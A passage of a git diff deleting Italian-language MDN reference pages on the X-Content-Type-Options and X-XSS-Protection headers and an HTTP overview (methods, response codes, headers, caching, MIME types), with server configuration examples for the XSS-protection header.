-<p>{{Compat("http.headers.X-Content-Type-Options")}}</p> - -<h2 id="Vedi_anche">Vedi anche</h2> - -<ul> - <li>{{HTTPHeader("Content-Type")}}</li> - <li>La <a href="https://blogs.msdn.microsoft.com/ie/2008/09/02/ie8-security-part-vi-beta-2-update/">definizione originale</a> dell'X-Content-Type-Options di Microsoft.</li> - <li>Lo strumento del <a href="https://observatory.mozilla.org/">Mozilla Observatory</a> per controllare la configurazione (compreso questo header) dei siti in merito alla sicurezza</li> - <li><a href="https://blog.mozilla.org/security/2016/08/26/mitigating-mime-confusion-attacks-in-firefox/">Mitigare gli attacchi di tipo MIME Confusion Attacks in Firefox</a></li> - <li><a href="https://fetch.spec.whatwg.org/#corb">Cross-Origin Read Blocking (CORB)</a></li> - <li><a href="https://chromium.googlesource.com/chromium/src/+/master/services/network/cross_origin_read_blocking_explainer.md">Spiegazione del CORB nei Google Docs</a></li> -</ul> diff --git a/files/it/web/http/headers/x-xss-protection/index.html b/files/it/web/http/headers/x-xss-protection/index.html deleted file mode 100644 index 89ef4c0bc2..0000000000 --- a/files/it/web/http/headers/x-xss-protection/index.html +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: X-XSS-Protection -slug: Web/HTTP/Headers/X-XSS-Protection -tags: - - HTTP - - Sicurezza - - XSS - - header -translation_of: Web/HTTP/Headers/X-XSS-Protection ---- -<div>{{HTTPSidebar}}</div> - -<p>L'header HTTP di risposta <strong><code>X-XSS-Protection</code></strong> è una funzionalità di Internet Explorer, Chrome e Safari che impedisce alle pagine di caricarsi quando rilevano attacchi di tipo cross-site scripting reflected ({{Glossary("XSS")}}). Anche se queste protezioni sono largamente non necessarie nei browser moderni, quando i siti web implementano una {{HTTPHeader("Content-Security-Policy")}} restrittiva che disabilita l'uso di JavaScript inline (<code>'unsafe-inline'</code>), possono ancora fornire protezione agli utenti di browser datati che non supportano {{Glossary("CSP")}}.</p> - -<table class="properties"> - <tbody> - <tr> - <th scope="row">Header type</th> - <td>{{Glossary("Response header")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name")}}</th> - <td>no</td> - </tr> - </tbody> -</table> - -<h2 id="Sintassi">Sintassi</h2> - -<pre class="syntaxbox">X-XSS-Protection: 0 -X-XSS-Protection: 1 -X-XSS-Protection: 1; mode=block -X-XSS-Protection: 1; report=<reporting-uri> -</pre> - -<dl> - <dt>0</dt> - <dd>Disabilita il filtro XSS.</dd> - <dt>1</dt> - <dd>Ablita il filtro XSS (solitamente il valore di default dei browser). Se un attacco di tipo cross-site scripting viene rilevato, il browser sanitizzerà la pagina web (rimuovendo il contenuto non sicuro).</dd> - <dt>1; mode=block</dt> - <dd>Abilita il filtro XSS. Piuttosto che sanitizzare la pagina web, il browser eviterà di mostrare la pagina quando un attacco viene rilevato.</dd> - <dt>1; report=<reporting-URI> (Solo Chromium)</dt> - <dd>Abilita il filtro XSS. Se un attacco di tipo cross-site scripting viene rilevato, il browser sanitizzerà la pagina e riporterà la violazione. Questo sistema utilizza la funzionalità della direttiva CSP {{CSP("report-uri")}} per segnalare la violazione.</dd> -</dl> - -<h2 id="Esempio">Esempio</h2> - -<p>Impedisce alle pagine di caricare quando viene rilevato un attacco di tipo XSS reflected:</p> - -<pre class="brush: bash">X-XSS-Protection: 1; mode=block</pre> - -<p>PHP</p> - -<pre class="brush: php">header("X-XSS-Protection: 1; mode=block");</pre> - -<p>Apache (.htaccess)</p> - -<pre class="brush: bash"><IfModule mod_headers.c> - Header set X-XSS-Protection "1; mode=block" -</IfModule></pre> - -<p>Nginx</p> - -<pre class="brush: bash">add_header "X-XSS-Protection" "1; mode=block";</pre> - -<h2 id="Specifiche">Specifiche</h2> - -<p>Non parte di nessuna specifica o bozza.</p> - -<h2 id="Compatibilità_Browser"><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="font-size: 40px;"><strong>Compatibilità Browser</strong></span></font></h2> - -<p> </p> - -<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> - -<p>{{Compat("http.headers.X-XSS-Protection")}}</p> - -<h2 id="Vedi_anche"><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="font-size: 40px;"><strong>Vedi anche</strong></span></font></h2> - -<ul> - <li>{{HTTPHeader("Content-Security-Policy")}}</li> - <li><a href="https://blogs.msdn.microsoft.com/ieinternals/2011/01/31/controlling-the-xss-filter/">Controlling the XSS Filter – Microsoft</a></li> - <li><a href="https://www.virtuesecurity.com/blog/understanding-xss-auditor/">Understanding XSS Auditor – Virtue Security</a></li> - <li> - <p><a href="http://blog.innerht.ml/the-misunderstood-x-xss-protection/">The misunderstood X-XSS-Protection – blog.innerht.ml</a></p> - </li> -</ul> - -<p> </p> diff --git a/files/it/web/http/index.html b/files/it/web/http/index.html deleted file mode 100644 index fa9405f68a..0000000000 --- a/files/it/web/http/index.html +++ /dev/null @@ -1,231 +0,0 @@ ---- -title: HTTP -slug: Web/HTTP -tags: - - HTTP - - Headers - - NeedsTranslation - - TopicStub - - Web - - Web Development -translation_of: Web/HTTP ---- -<p>{{ HTTPSidebar }} </p> - -<p>L'<dfn>Hypertext Transfer Protocol (HTTP)</dfn> è un protocollo del <a class="external" href="http://en.wikipedia.org/wiki/Application_Layer" title="http://en.wikipedia.org/wiki/Application_Layer">livello di applicazione</a> per il trasferimento di ipertesti. È usato per le comunicazioni tra i web browser e i web server, <span class="tlid-translation translation"><span title="">sebbene in linea di principio possa essere utilizzato anche per altri scopi</span></span>. Segue un classico <a class="external" href="http://en.wikipedia.org/wiki/Client%E2%80%93server_model" title="http://en.wikipedia.org/wiki/Client–server_model">modello client-server</a>, con apertura di una conessione da parte del client, creazione di una richiesta e poi attesa della risposta da parte del server dopo aver ricevuto la richiesta. È anche un <a class="external" href="http://en.wikipedia.org/wiki/Stateless_protocol" title="http://en.wikipedia.org/wiki/Stateless_protocol">protocollo senza stato</a>, cioè il server non mantiene nessun tipo di dato (stato) delle richieste.</p> - -<p>Sebbene spesso basato su un livello TCP/IP, può essere usato su qualsiasi <a class="external" href="http://en.wikipedia.org/wiki/Transport_Layer" title="http://en.wikipedia.org/wiki/Transport_Layer">livello di trasporto</a> orientato alle connessioni.</p> - -<h2 class="Documentation" id="Documentation" name="Documentation">Documentazione</h2> - -<dl> - <dt><a href="/en-US/docs/Web/HTTP/Headers" title="/en-US/docs/HTTP/Headers">HTTP Header</a></dt> - <dd>I messaggi Header HTTP vengono utilizzati per descrivere con precisione la risorsa da recuperare o il comportamento del server o del client. Header con proprietà personalizzate possono essere aggiunti usando il prefisso 'X-'; altri sono elencati in un <a class="external" href="http://www.iana.org/assignments/message-headers/perm-headers.html" title="http://www.iana.org/assignments/message-headers/perm-headers.html">registro IANA</a>, il cui contenuto originale è stato definito in <a class="external" href="http://tools.ietf.org/html/rfc4229" title="http://tools.ietf.org/html/rfc4229">RFC 4229</a>. IANA mantiene anche un <a class="external" href="http://www.iana.org/assignments/message-headers/prov-headers.html" title="http://www.iana.org/assignments/message-headers/prov-headers.html">registro delle nuove proposte di messaggi Header HTTP</a>.</dd> - <dt><a href="/en/Web_Development/HTTP_cookies" title="HTTP cookies">HTTP cookie</a></dt> - <dd>Come lavorano i cookie è stato definito nel <a class="external" href="http://tools.ietf.org/html/rfc6265">RFC 6265</a>. Quando riceve una richiesta HTTP, un server può inviare un header <code>Set-Cookie</code> con la risposta. Successivamente, il valore del cookie viene inviato insieme a ogni richiesta effettuata sullo stesso server sotto forma di un'intestazione HTTP <code>Cookie</code>. Inoltre, è possibile specificare un ritardo di scadenza. È possibile specificare anche restrizioni a un dominio e un percorso specifici.</dd> - <dt><a href="/en-US/docs/HTTP/Basic_access_authentication" title="/en-US/docs/HTTP/Basic_access_authentication">Autenticazione di accesso di base</a></dt> - <dd>Nel contesto di una transazione HTTP, l'autenticazione di accesso di base è un metodo per un <a href="https://developer.mozilla.org/en-US/docs/Web/API/window.navigator.userAgent" title="HTTP user agent">HTTP user agent</a> per fornire un nome utente e una password quando si effettua una richiesta.</dd> - <dt><a href="/en/HTTP_Pipelining_FAQ" title="https://developer.mozilla.org/en/HTTP_Pipelining_FAQ">Pipelining HTTP FAQ</a></dt> - <dd>Pipelining HTTP/1.1 FAQ</dd> - <dt><a href="/en-US/docs/HTTP/Access_control_CORS" title="/en-US/docs/HTTP/Access_control_CORS">Controllo accessi HTTP (CORS)</a></dt> - <dd><strong>Le richieste HTTP cross-site</strong> sono richieste <a href="https://developer.mozilla.org/en/HTTP" title="en/HTTP">HTTP</a> per risorse da un <strong>dominio diverso</strong> rispetto al dominio della risorsa che effettua la richiesta. Ad esempio, una risorsa caricata dal Dominio A (<code><span class="nowiki">http://domaina.example</span></code>) come una pagina Web HTML, effettua una richiesta per una risorsa sul Dominio B (<code><span class="nowiki">http://domainb.foo</span></code>), come un'immagine, usando l'elemento <code>img</code> (<code><span class="nowiki">http://domainb.foo/image.jpg</span></code>). Questo si verifica molto comunemente sul Web oggi: le pagine caricano un numero di risorse in modo cross-site, inclusi fogli di stile CSS, immagini e script e altre risorse.</dd> - <dt><a href="/En/Controlling_DNS_prefetching" title="En/Controlling DNS prefetching">Controllo del prefetching DNS</a></dt> - <dd>Firefox 3.5 esegue il <strong>prefetching DNS</strong>. Questa è una funzionalità con cui Firefox esegue proattivamente la risoluzione dei nomi di dominio su entrambi i link che l'utente può scegliere di seguire e gli URL per gli elementi a cui fa riferimento il documento, incluse immagini, CSS, JavaScript e così via. Questo prefetch viene eseguito in background, in modo che il DNS sia già stato risolto nel momento in cui gli elementi di riferimento sono effettivamente necessari. Ciò riduce la latenza quando, ad esempio, l'utente fa effettivamente clic su un collegamento.</dd> - <dt><a href="/en-US/docs/Web/HTTP/Response_codes" title="/en-US/docs/HTTP/HTTP_response_codes">Codici di risposta HTTP</a></dt> - <dd>I codici di risposta HTTP indicano se una specifica richiesta <a href="https://developer.mozilla.org/en/HTTP" title="en/HTTP">HTTP</a> è stata completata con successo. Le risposte sono raggruppate in cinque classi: risposte informative, risposte positive, reindirizzamenti, errori del client e errori del server.</dd> -</dl> - -<h2 id="A_brief_history_of_HTTP">A brief history of HTTP</h2> - -<p>Since its original conception, as a protocol with one single method (GET) and returning only HTML pages, the HTTP protocol went through several revisions. The first documented version was HTTP/0.9 in 1991, corresponding to the original version. Very simple, it has a rudimentary search capability via the HTML {{ HTMLElement("isindex") }} element and an extension of the URL using the '<span style="font-family: courier new;">?</span>' character.</p> - -<p>Then, in 1992, a version was published that became, with some minor changes, HTTP/1.0 (finalized in <a class="external" href="http://tools.ietf.org/html/rfc1945" title="http://tools.ietf.org/html/rfc1945">RFC 1945</a> in May 1996). One major improvement over the previous version was the ability to transmit files of different types, like images, videos, scripts, CSS documents, and so on, instead of only HTML files: this is achieved by using <a class="external" href="http://en.wikipedia.org/wiki/Mime_types" title="http://en.wikipedia.org/wiki/Mime_types">MIME types</a> in conjunction with the <code>Content-Type:</code> header.</p> - -<p>In 1995, the <a class="external" href="http://www.ietf.org/" title="http://www.ietf.org/">IETF</a> began developing a new version of HTTP, which would become HTTP/1.1. It quickly spread into wide usage, and it was officially standardized in 1997 in <a class="external" href="http://tools.ietf.org/html/rfc2068" title="http://tools.ietf.org/html/rfc2068">RFC 2068</a>, with minor fixes in <a class="external" href="http://tools.ietf.org/html/rfc2616" title="http://tools.ietf.org/html/rfc2616">RFC 2616</a> two years later.</p> - -<p>HTTP/1.1 brought the ability to reuse established connections for subsequent requests, greatly improving the performance of the protocol by lowering the latency between them; this is especially useful with complex HTML documents that need to fetch several subsequent files, like images or style sheets. It also brought the <code>Host:</code> header, which allows a single server, listening on a specific port, to receive requests for several websites; this paved the way for colocating numerous websites on one single server, greatly reducing the cost of hosting.</p> - -<p>Since then, the HTTP protocol evolved by adding new <a href="/en/HTTP/Headers" title="en/HTTP/Headers">headers</a>, defining new behaviors without the need to fundamentally change the protocol. Unknown headers are simply ignored by servers or clients.</p> - -<p>HTTP/1.1 is currently being revised by the <a class="external" href="http://tools.ietf.org/wg/httpbis/" title="http://tools.ietf.org/wg/httpbis/">IETF HTTPbis Working Group</a>.</p> - -<ul> -</ul> - -<h2 id="HTTP_request_methods">HTTP request methods</h2> - -<p>The request method indicates the action to be performed by the server. The HTTP/1.1 standard defines seven methods and allows other methods to be added later. Over the years, a few ones have been added in standards like <a href="/en/WebDAV" title="en/WebDAV">WebDAV</a>. The <a class="external" href="http://tools.ietf.org/wg/httpbis/" rel="external nofollow" title="http://tools.ietf.org/wg/httpbis/">IETF HTTPbis Working Group</a> is currently working on an IANA registry to list them all. If a server receives a request method that it doesn't know, it must return a <span style="font-family: courier new;"><a href="/en/HTTP/HTTP_response_codes#501" rel="internal" title="en/HTTP/HTTP response codes#501">501 Not implemented</a></span> response; if it knows the method but is configured not to answer it, it must return a <span style="font-family: courier new;"><a href="/en/HTTP/HTTP_response_codes#501" rel="internal" title="en/HTTP/HTTP response codes#501">405 Method not allowed</a></span> response. Two methods are required to be supported: HEAD and GET; all others are optional.</p> - -<p>Two specific semantics are defined in the standard and are crucial for web developers: the <em>safety</em> property and the <em>idempotent</em> property.</p> - -<h3 id="Safe_methods">Safe methods</h3> - -<p>A <dfn>safe method</dfn> is a method that doesn't have any side-effects on the server. In other words, this property means that the method must be used only for <em>retrieval</em> of data. The safe HTTP methods defined in HTTP/1.1 are:</p> - -<ul> - <li>GET, used to retrieve information identified by the request URI. This information may be generated on the fly or the GET may be conditional if any of the {{ httpheader("If-Modified-Since") }}, {{ httpheader("If-Unmodified-Since") }}, {{ httpheader("If-Match") }}, {{ httpheader("If-None-Match") }} or {{ httpheader("If-Range") }} HTTP headers are set. In that latter case the information is only sent back if all the conditions are fulfilled.</li> - <li>HEAD, which is identical to GET but without the message body sent.</li> -</ul> - -<div class="note"><strong>Notes: </strong> - -<ul> - <li>Any safe method is also <em>idempotent</em>.</li> - <li>Not having any side-effects means, for the GET method, that it <strong>must</strong> not be used to trigger an action outside the server, like an order in an e-commerce site. If a side-effect is wanted, a non-<em>idempotent</em> method should be used, like POST.</li> - <li>When a page is generated on the fly by a script, the script engine may calculate the page as if it was requested by a GET and then strip the data block. This does not cause problem as long as the GET as implemented in the script is <em>safe</em>, but if it has any side-effects (like triggering an order on an e-commerce site), the HEAD method will trigger it too. It is up to the web developer to ensure that both the GET and HEAD method are safely implemented.</li> -</ul> -</div> - -<h3 id="Idempotent_methods">Idempotent methods</h3> - -<p>An <dfn>idempotent method</dfn> is a method such that the side-effects on the server of several identical requests with the method are the same as the side-effects of one single request.</p> - -<ul> - <li>HEAD and GET, like any safe method, are also idempotent, as a safe method doesn't have side-effects on the server.</li> - <li>PUT is the way to upload a new resource on the server. If the resource already exists and is different, it is replaced; if it doesn't exist, it is created.</li> - <li>DELETE removes a resource from the server.</li> -</ul> - -<h3 id="Other_methods">Other methods</h3> - -<ul> - <li>POST is the way to trigger an action on the server. It has side-effects and can be used to trigger an order, to modify a database, to post a message in a forum, and so on.</li> - <li>OPTIONS is a request for communication options available on the chain between the client and the server (through eventual proxies); this method is typically sent before any <a href="/En/HTTP_access_control#Preflighted_requests" title="en/HTTP access control#Preflighted requests">preflighted cross-origin request</a>, in order to know whether it is safe to do it. - <div class="note"><strong>Note:</strong> <a href="/En/HTTP_access_control#Preflighted_requests" title="en/HTTP access control#Preflighted requests">Preflighted cross-origin requests</a> cannot be done on servers which don't allow or support the OPTIONS method.</div> - </li> - <li>TRACE is a kind of ping between the client and the server (through eventual proxies).</li> -</ul> - -<p>Many more methods, such as PROPFIND or PATCH are defined in other standards-track RFCs of the IETF, like WebDAV.</p> - -<p>The CONNECT method is defined in <a class="external" href="http://tools.ietf.org/html/rfc2817" title="http://tools.ietf.org/html/rfc2817">RFC 2817</a>.</p> - -<h3 id="HTTP_Requests_Methods_in_HTML_Forms">HTTP Requests Methods in HTML Forms</h3> - -<p>In HTML, different HTTP request methods can be specified in the {{ htmlattrxref("method", "form") }} attribute of the {{ HTMLElement("form") }} element, but also to the {{ htmlattrxref("formmethod", "input") }} of the {{ HTMLElement("input") }} and {{ HTMLElement("button") }} elements. But not all HTTP methods can be used with these attributes; only GET and POST method are allowed by the HTML specification. See <a href="http://programmers.stackexchange.com/a/211790">this StackExchange answer why other HTTP request methods are not allowed by the HTML specification</a>.</p> - -<div class="note"><strong>Note</strong>: The choice of a GET or POST method for HTML forms is not neutral. Because the GET method is a <a href="/en/HTTP#Safe_methods" title="https://developer.mozilla.org/en/HTTP#Safe_methods">safe method</a>, it should be used only in cases where no side-effect is expected; e.g., it shouldn't be used to transmit an order, as this order is a side-effect. In all cases where such side-effects are expected, the POST method should be used.</div> - -<h2 id="HTTP_response_codes">HTTP response codes</h2> - -<p>When answering a client request, the server sends back a three-digit number indicating whether the request was successfully processed. These codes can be grouped in five categories:</p> - -<ul> - <li><dfn>Informational responses</dfn> (of the form <code>1xx</code>) are provisional responses. Most of the time neither the end user, nor the web developer or webmaster should have to bother with these. The most common is the <span style="font-family: courier new;"><a href="/en/HTTP/HTTP_response_codes#100" title="en/HTTP/HTTP response codes#100">100 Continue</a></span> response, indicating that the client should continue to send its request. - - <div class="note"><strong>Note:</strong> No information response codes were defined in the HTTP/1.0, and therefore they must not be sent back when this version of the protocol is used.</div> - </li> - <li><dfn>Success responses</dfn> (of the form <code>2xx</code>) are for successfully processed requests. The <span style="font-family: courier new;"><a href="/en/HTTP/HTTP_response_codes#200" title="en/HTTP/HTTP response codes#200">200 OK</a></span> response is by far the most common of these responses, but the <span style="font-family: courier new;"><a href="/en/HTTP/HTTP_response_codes#206" title="en/HTTP/HTTP response codes#206">206 Partial Content</a></span> is also often seen when fetching a file or some media data like video or audio.</li> - <li><dfn>Redirection responses</dfn> (of the form <code>3xx</code>) indicate that the resource that the client requested has moved and the server is not able to serve it directly. Most of these responses contain some location information telling where to find the requested resource; user-agents often then retrieve it without further user interaction. The most common responses of this type are <span style="font-family: courier new;"><a href="/en/HTTP/HTTP_response_codes#301" title="en/HTTP/HTTP response codes#301">301 Moved Permanently</a></span>, indicating that the URI given is no longer valid and has been moved to another place, and <span style="font-family: courier new;"><a href="/en/HTTP/HTTP_response_codes#302" title="en/HTTP/HTTP response codes#302">302 Found</a></span> which indicates that the resource has been <em>temporarily</em> moved to another place. - <div class="note"><strong>Note:</strong> For webmasters, it is recommended to set up a <span style="font-family: courier new;"><a href="/en/HTTP/HTTP_response_codes#301" title="en/HTTP/HTTP response codes#301">301 Moved Permanently</a></span> redirection when moving pages to another URI, during a site reorganization for example. That allows users following links to still reach the resource and it also teaches search engines and other services the new location of the resource, so that they can transfer their metadata to it. It is also important to add adequate cache headers to the <span style="font-family: courier new;"><a href="/en/HTTP/HTTP_response_codes#301" title="en/HTTP/HTTP response codes#301">301 Moved Permanently</a></span> response so that this information is cached by the client and prevents it from making unnecessary requests to the original URI prior to fetching the resource itself.</div> - </li> - <li><dfn>Client error responses</dfn> (of the form <code>4xx</code>) indicate that the request sent by the client is either invalid, incomplete, or doesn't have enough rights to be performed. The most common such response is <span style="font-family: courier new;"><a href="/en/HTTP/HTTP_response_codes#404" title="en/HTTP/HTTP response codes#404">404 Not Found</a></span> which is sent back when the URI requested doesn't exist, but a few others are often presented to the end user, like <span style="font-family: courier new;"><a href="/en/HTTP/HTTP_response_codes#400" title="en/HTTP/HTTP response codes#400">400 Bad Request</a></span> sent when the request isn't a valid HTTP request (as this shouldn't happen but may indicate a bug into the user agent or, less likely, the server) or <span style="font-family: courier new;"><a href="/en/HTTP/HTTP_response_codes#403" title="en/HTTP/HTTP response codes#403">403 Forbidden</a></span>, sent when the client request a resource that does exist but isn't allowed to be transmitted (like a directory content).</li> - <li><dfn>Server error responses</dfn> (of the form <code>5xx</code>) indicate that the server had a problem handling the valid client request. The two most common such responses are <span style="font-family: courier new;"><a href="/en/HTTP/HTTP_response_codes#500" title="en/HTTP/HTTP response codes#500">500 Internal Server Error</a></span>, a generic error code indicating a bug in the server or <span style="font-family: courier new;"><a href="/en/HTTP/HTTP_response_codes#503" title="en/HTTP/HTTP response codes#503">503 Service Unavailable</a></span> indicating that the server cannot process the request due to a temporary problem, like a disabled service for maintenance purposes or the non-availability of a database.</li> -</ul> - -<p>A web developer shouldn't encounter many other response codes, but people building requests using the <code><a href="/en/nsIXMLHttpRequest" title="en/XMLHttpRequest">XMLHTTPRequest</a></code> function may hit <a href="/en/HTTP/HTTP_response_codes" title="en/HTTP/HTTP response codes">less usual response codes</a>.</p> - -<h3 id="More_on_redirection_responses">More on redirection responses</h3> - -<p>Starting in Gecko 9.0 {{ geckoRelease("9.0") }}, redirections (such as 301 and 307) that specify a <code>javascript:</code> URI are no longer performed. Instead, a bad connection error is presented. This helps avoid cross-site scripting attacks. See {{ bug(255119) }} if you want more details.</p> - -<h2 id="HTTP_headers">HTTP headers</h2> - -<p>HTTP headers allow the client and the server to pass additional information with the request or the response. A request header consists of its case-insensitive name followed by a colon ':', then by its value (without CRLF in it). Leading white space before the value is ignored.</p> - -<p>Headers are grouped according the context in which they may appear:</p> - -<dl> - <dt>General headers</dt> - <dd>These headers apply to both requests and responses but are unrelated to the data eventually transmitted in the body. They therefore apply only to the message being transmitted. There are only a few of them and new ones cannot be added without increasing the version number of the HTTP protocol. The exhaustive list for HTTP/1.1 is {{ httpheader("Cache-Control") }}, {{ httpheader("Connection") }}, {{ httpheader("Date") }}, {{ httpheader("Pragma") }}, {{ httpheader("Trailer") }}, {{ httpheader("Transfer-Encoding") }}, {{ httpheader("Upgrade") }}, {{ httpheader("Via") }} and {{ httpheader("Warning") }}.</dd> - <dt>Request headers</dt> - <dd>These headers give more precise information about the resource to be fetched or about the client itself. Among them one can find <a href="/en/HTTP_Caching_FAQ" title="en/HTTP Caching FAQ">cache-related headers</a>, transforming a GET method in a conditional GET, like {{ httpheader("If-Modified-Since") }}, user-preference information like {{ httpheader("Accept-Language") }} or {{ httpheader("Accept-Charset") }} or plain client information like {{ httpheader("User-Agent") }}. New request headers cannot officially be added without increasing the version number of the HTTP protocol. But, it is common for new request headers to be added if both the server and the client agree on their meaning. In that case, a client should not assume that they will be handled adequately by the server; unknown request headers are handled as <em>entity headers</em>.</dd> - <dt>Response headers</dt> - <dd>These headers give more information about the resource sent back, like its real location ({{ httpheader("Location") }}) or about the server itself, like its name and version ({{ httpheader("Server") }}). New response headers cannot be added without increasing the version number of the HTTP protocol. But, it is common for new response headers to be added if both the server and the client agree on their meaning. In that case, a server should not assume that they will be handled adequately by the client ; unknown response headers are handled as <em>entity headers</em>.</dd> - <dt>Entity headers</dt> - <dd>These headers give more information about the body of the entity, like its length ({{ httpheader("Content-Length") }}), an identifying hash ({{ httpheader("Content-MD5") }}), or its MIME-type ({{ httpheader("Content-Type") }}). New entity headers can be added without increasing the version number of the HTTP protocol.</dd> -</dl> - -<p>Headers can also be grouped according to how caching and non-caching proxies handle them:</p> - -<dl> - <dt>End-to-end headers</dt> - <dd>These headers must be transmitted to the final recipient of the message; that is, the server for a request message or the client for a response message. Such a header means that intermediate proxies must retransmit it unmodified and also that caches must store it.</dd> - <dt>Hop-by-hop headers</dt> - <dd>These headers are meaningful only for a single transport-level connection and must not be retransmitted by proxies or cached. Such headers are: {{ httpheader("Connection") }}, {{ httpheader("Keep-Alive") }}, {{ httpheader("Proxy-Authenticate") }}, {{ httpheader("Proxy-Authorization") }}, {{ httpheader("TE") }}, {{ httpheader("Trailers") }}, {{ httpheader("Transfer-Encoding") }} and {{ httpheader("Upgrade") }}. Note that only hop-by-hop headers may be set using the {{ httpheader("Connection") }} general header.</dd> -</dl> - -<p>In order to learn about the specific semantic of each header, see its entry in the <a href="/en/HTTP/Headers" title="en/HTTP/Headers">comprehensive list of HTTP headers</a>.</p> - -<h3 id="Useful_request_headers">Useful request headers</h3> - -<p>Among the numerous <a href="/en/HTTP/Headers" title="en/HTTP/Headers">HTTP request headers</a>, several are especially useful when set correctly. If you are building your own requests, by using <code><a href="/en/DOM/XMLHttpRequest" title="en/XMLHTTPRequest">XMLHTTPRequest</a></code> or when writing an extension and sending <a href="/en/Setting_HTTP_request_headers" title="en/Setting HTTP request headers">custom HTTP requests via XPCOM</a>, then it is important to ensure the presence of headers that are often set by browsers based on the preferences of the user.</p> - -<dl> - <dt>Controlling the language of the resource</dt> - <dd>Most user-agents, like Firefox, allow the user to set a preference for the language for receiving a resource. The browser translate this into an {{ httpheader("Accept-Language") }} header. It is good practice for web developers, when building specific HTTP requests, to include such a header too.</dd> - <dt>Using conditional GET</dt> - <dd>Caching is a major tool to accelerate the display of web pages. Even when parts of a webpage are refreshed via an <code><a href="/en/DOM/XMLHttpRequest" title="en/XMLHTTPRequest">XMLHTTPRequest</a></code>:, it is a good idea to use the {{ httpheader("If-Modified-Since") }} header (and other similar ones) in order to fetch the new content only if it has changed. This approach lowers the burden on the network.</dd> -</dl> - -<h3 id="Useful_response_headers">Useful response headers</h3> - -<p>The configuration of a web server is a critical part to ensure good performance and optimal security of a web site. Among the <a href="/en/HTTP/Headers" title="en/HTTP/Headers">numerous HTTP response headers</a>, several are of specific importance and should be configured on the server</p> - -<h4 id="Restricting_framing">Restricting framing</h4> - -<p>Several cross-site scripting (XSS) attacks take advantage of the ability to put third-party content inside an {{ HTMLElement("frame") }} or {{ HTMLElement("iframe") }}. In order to mitigate that risk, modern browsers have introduced the <code><a href="/en/Security/CSP/CSP_policy_directives#frame-ancestors" title="en/The X-FRAME-OPTIONS response header">CSP frame-ancestors directive</a></code>. By setting it with the value <code>'none'</code>, it prevents the browser from displaying this resource inside of a frame. Using it on critical resources (like those containing a formularies or critical information) will reduce the risk caused by XSS attacks. Note that this specific HTTP response header is not the only way to mitigate XSS risks; other techniques, like setting some <a href="/en/Security/CSP/Introducing_Content_Security_Policy" title="en/Security/CSP/Introducing Content Security Policy">Content Security Policies</a>, may be helpful too.</p> - -<h4 id="Compression">Compression</h4> - -<p>Minimizing the amount of data transferred accelerates the display of a web page. Though most techniques, like <a href="/en/CSS/CSS_Sprites" title="en/CSS/CSS Sprites">CSS Sprites</a>, should be applied on the site itself, compression of data must be set at the web server level. If set, resources requested by the client with an {{ httpheader("Accept-Encoding") }} request header are compressed using the appropriate method and sent back with a {{ httpheader("Content-Encoding") }} response header. Setting these in Apache 2 servers is done by using the <a class="external" href="http://httpd.apache.org/docs/2.0/mod/mod_deflate.html" title="http://httpd.apache.org/docs/2.0/mod/mod_deflate.html">mod_deflate module</a>.</p> - -<div class="note"><strong>Note:</strong> Be aware that not all data formats can be efficiently compressed. Already-compressed media data, like JPEG images or most audio and video formats, do not shrink using another pass of compression. In fact, they often become larger due to the overhead of the compression method. It is important not to try to compress these resource types any further; there is no advantage in size and the compression/decompression mechanism is resource-intensive.</div> - -<h4 id="Controlling_cache">Controlling cache</h4> - -<p><a href="/en/HTTP_Caching_FAQ" title="en/HTTP Caching FAQ">HTTP Caching</a> is a technique that prevents the same resource from being fetched several times if it hasn't change. Configuring the server with the correct response headers allows the user-agent to adequately cache the data. In order to do that, be sure that:</p> - -<ul> - <li>Any static resource provides an {{ httpheader("Expires") }} response header that is set to far in the future. That way, the resource may stay in the cache until the user-agent flushes it for its own reasons (like reaching its cache size limit). - <div class="note"><strong>Note: </strong>On Apache, use the ExpiresDefault directive in your .htaccess to define a relative expires: <code>ExpiresDefault "access plus 1 month"</code>.</div> - </li> - <li>Any dynamic resource provides a {{ httpheader("Cache-control") }} response header. Theoretically, any HTTP request done through a <a href="/en/HTTP#Safe_Methods" title="en/HTTP#Safe Methods">safe method</a> (GET or HEAD) or even through a solely <a href="/en/HTTP#Idempotent_Methods" title="en/HTTP#Idempotent Methods">idempotent one</a> (DELETE, PUT) may be cached; but in practice careful study is needed to determine if the caching of the response may lead to inappropriate side-effects.</li> -</ul> - -<h4 id="Setting_the_correct_MIME_types">Setting the correct MIME types</h4> - -<p>The MIME type is the mechanism to tell the client the kind of document transmitted: the extension of a file name has no meaning on the web. It is therefore important that the server is correctly set up so that the correct MIME type is transmitted with each document: user-agents often use this MIME-type to determine what default action to do when a resource is fetched.</p> - -<div class="note"><strong>Note: </strong> - -<ul> - <li>On Apache, one can match file extensions with a given MIME type in the .htaccess using the <font face="Verdana,Helvetica,Arial"><span style="font-family: courier new;"><code>AddType</code></span> type directive like</font><code> AddType image/jpeg jpg.</code></li> - <li>Most web servers send unknown-type resources using the default <code>application/octet-stream</code> MIME type; for security reasons, most browsers, like Firefox, do not allow setting a custom default action for such resources and force the user to store it to disk in order to use it. Some common cases of often incorrectly configured servers happens for the following file types: - <ul> - <li> - <p>Rar-encoded files. The ideal would be to be able to set the real type of the encoded files; this often is not possible (as it may not be known to the server and these files may contains several resource of different types). In that case, configure the server to send the <code>application/x-rar-compressed </code>MIME type or some users won't be able to define a useful default action for them.</p> - </li> - <li> - <p>Audio and video files. Only resources with the proper MIME Type will be recognized and played, using a {{ HTMLElement("video") }} or {{ HTMLElement("audio") }} elements. Be sure to <a href="/En/Media_formats_supported_by_the_audio_and_video_elements" title="En/Media formats supported by the audio and video elements">use the correct MIME type for audio and video resources</a>.</p> - </li> - <li> - <p>Proprietary file types. Pay special attention when serving a proprietary file type. Be sure not to forget to add an x-prefixed type for it; otherwise, special handling won't be possible. This is especially true with resources using the <a class="external" href="http://en.wikipedia.org/wiki/Keyhole_Markup_Language" title="http://en.wikipedia.org/wiki/Keyhole_Markup_Language">Keyhole Markup Language</a>, which should be served as <code>application/vnd.google-earth.kml+xml </code>for an optimal user experience.</p> - </li> - </ul> - </li> -</ul> -</div> - -<h2 id="See_also">See also</h2> - 